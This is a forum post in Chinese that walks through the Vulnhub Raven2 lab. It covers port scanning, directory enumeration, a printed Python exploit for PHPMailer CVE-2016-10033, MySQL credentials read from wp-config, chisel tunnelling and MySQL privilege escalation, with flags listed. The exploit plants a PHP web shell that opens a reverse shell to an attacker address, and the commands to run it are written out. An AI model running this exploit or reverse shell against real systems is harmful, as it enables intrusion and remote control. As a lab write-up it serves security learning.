[Vulnhub] Raven2 PHPMailer-RCE+MSQP:Mysql权限提拔

[复制链接]
发表于 2026-2-18 00:30:38 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
信息网络

IP AddressOpening Ports192.168.101.160TCP:22,80,111,46606$ nmap -p- 192.168.101.160 --min-rate 1000 -sC -sV
  1. PORT      STATE SERVICE VERSION
  2. 22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
  3. | ssh-hostkey:
  4. |   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
  5. |   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
  6. |   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
  7. |_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
  8. 80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
  9. |_http-title: Raven Security
  10. |_http-server-header: Apache/2.4.10 (Debian)
  11. 111/tcp   open  rpcbind 2-4 (RPC #100000)
  12. | rpcinfo:
  13. |   program version    port/proto  service
  14. |   100000  2,3,4        111/tcp   rpcbind
  15. |   100000  2,3,4        111/udp   rpcbind
  16. |   100000  3,4          111/tcp6  rpcbind
  17. |   100000  3,4          111/udp6  rpcbind
  18. |   100024  1          46606/tcp   status
  19. |   100024  1          54025/udp6  status
  20. |   100024  1          57324/udp   status
  21. |_  100024  1          60412/tcp6  status
  22. 46606/tcp open  status  1 (RPC #100024)
  23. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
复制代码
# echo '192.168.101.160 raven.local'>>/etc/hosts
usernames:steven,michael
$ gobuster dir -u "http://192.168.101.160/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x .php

http://raven.local/vendor/PATH
Flag 1

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
本地权限

http://raven.local/vendor/VERSION
5.2.16

  1. import os
  2. import sys
  3. import requests
  4. from requests_toolbelt import MultipartEncoder
  5. import signal
  6. import threading
  7. import time
  8. import urllib3
  9. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  10. class Spinner:
  11.     busy = False
  12.     delay = 0.1
  13.     @staticmethod
  14.     def spinning_cursor():
  15.         while 1:
  16.             for cursor in '|/-\\': yield cursor
  17.     def __init__(self):
  18.         self.spinner_generator = self.spinning_cursor()
  19.         self.stop_running = threading.Event()
  20.     def spinner_task(self):
  21.         while not self.stop_running.is_set():
  22.             sys.stdout.write(next(self.spinner_generator))
  23.             sys.stdout.flush()
  24.             time.sleep(self.delay)
  25.             sys.stdout.write('\b')
  26.             sys.stdout.flush()
  27.     def start(self):
  28.         self.busy = True
  29.         threading.Thread(target=self.spinner_task).start()
  30.     def stop(self):
  31.         self.busy = False
  32.         self.stop_running.set()
  33.         time.sleep(self.delay)
  34. def signal_handler(signal, frame):
  35.     print("\n[!] Exiting...")
  36.     sys.exit(0)
  37. signal.signal(signal.SIGINT, signal_handler)
  38. def clear_console():
  39.     os.system('clear')
  40. def print_banner():
  41.     print("\n")
  42.     print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
  43.     print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
  44.     print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
  45.     print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
  46.     print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
  47.     print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
  48.     print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
  49.     print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")
  50. def main():
  51.     if len(sys.argv) != 5:
  52.         print("Usage: python exploit.py <target_url> <backdoor_name> <attacker_ip> <attacker_port>")
  53.         sys.exit(1)
  54.     target = sys.argv[1]
  55.     backdoor = '/' + sys.argv[2]
  56.     attacker_ip = sys.argv[3]
  57.     attacker_port = sys.argv[4]
  58.     payload = f"<?php system('python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'{attacker_ip}\',{attacker_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])""'); ?>"
  59.     fields = {
  60.         'action': 'submit',
  61.         'name': payload,
  62.         'email': f'"anarcoder\" -OQueueDirectory=/tmp -X/var/www/html{backdoor} server" @protonmail.com',
  63.         'message': 'Pwned'
  64.     }
  65.     m = MultipartEncoder(fields=fields, boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')
  66.     headers = {
  67.         'User-Agent': 'curl/7.47.0',
  68.         'Content-Type': m.content_type
  69.     }
  70.     print('[+] Sending evil shell to target...')
  71.     spinner = Spinner()
  72.     spinner.start()
  73.     try:
  74.         response = requests.post(target, data=m.to_string(), headers=headers, verify=False)
  75.     except requests.exceptions.RequestException as e:
  76.         print(f"\n[!] Error: {e}")
  77.         spinner.stop()
  78.         sys.exit(1)
  79.     spinner.stop()
  80.     print('[+] Spawning evil shell... bOOOOM :D')
  81.     try:
  82.         response = requests.get(target + backdoor, headers=headers, verify=False)
  83.         if response.status_code == 200:
  84.             print(f'[+] Exploited {target}')
  85.         else:
  86.             print(f'[!] Failed to exploit {target}, status code: {response.status_code}')
  87.     except requests.exceptions.RequestException as e:
  88.         print(f"[!] Error: {e}")
  89. if __name__ == "__main__":
  90.     clear_console()
  91.     print_banner()
  92.     main()
复制代码
$ python3 exploit.py http://192.168.101.160/contact.php reverse.php 192.168.101.128 10032
$ curl http://raven.local/reverse.php

$ python –c 'import pty;pty.spawn("/bin/bash")'
Flag 2


$ cat /var/www/flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}
Flag 3

$ find ./ -name flag3*

http://192.168.101.160/wordpress/wp-content/uploads/2018/11/flag3.png

flag3{a0f568aa9de277887f37730d71520d9b}
权限提拔 : MSQP

$ cat /var/www/html/wordpress/wp-config.php

username:root
password:R@v3nSecurity
(Kali)$ ./chisel server -p 8000 --reverse
(Target)$ ./chisel client 192.168.101.128:8000 R:3306:localhost:3306&

$ git clone https://github.com/MartinxMax/MSQP.git
$ python3 -m pip install mysql-connector-python
$ python3 msqp.py 127.0.0.1 3306 root R@v3nSecurity 192.168.101.128 10033

Flag 4

# cat /root/flag4.txt

flag4{df2bc5e951d91581467bb9a2a8ff4425}
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表